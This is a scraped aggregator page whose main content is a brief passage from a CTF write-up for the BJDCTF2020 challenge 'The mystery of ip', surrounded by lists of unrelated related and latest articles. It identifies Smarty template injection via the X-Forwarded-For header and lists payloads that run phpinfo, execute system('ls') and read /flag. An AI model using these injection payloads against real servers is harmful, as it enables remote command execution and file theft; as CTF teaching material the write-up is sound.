[BJDCTF2020]The mystery of ip
知識點 SSTI smarty 抓包，根據題目猜想X-Forwarded-For處可能有問題，測試了一下，存在模板注入 測試了一下，是smarty注入 smarty注入payload {if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system
相關文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac遊戲介紹
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server
- 更多相關文章...
- • XSLT
- • XSLT
- • Tomcat學習筆記（史上最全tomcat學習筆記）
- • Docker容器實戰(八) - 漫談 Kubernetes 的本質
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
最新文章
- 1. 融合阿里雲，牛客助您找到心儀好工作
- 2. 解決jdbc(jdbctemplate)在測試類時不報錯在TomCatb部署後報錯
- 3. 解決PyCharm GoLand IntelliJ 等 JetBrains 系列 IDE無法輸入中文
- 4. vue+ant design中關於圖片請求不顯示的問題。
- 5. insufficient memory && Native memory allocation (malloc) failed
- 6. 解決IDEA用Maven創建的Web工程不能創建Java Class文件的問題
- 7. [已解決] Error: Cannot download ‘https://start.spring.io/starter.zip?
- 8. 在idea讓java文件夾正常使用
- 9. Eclipse啓動提示「subversive connector discovery」
- 10. 帥某-技巧-快速轉帖博主文章（article_content）
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac遊戲介紹
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server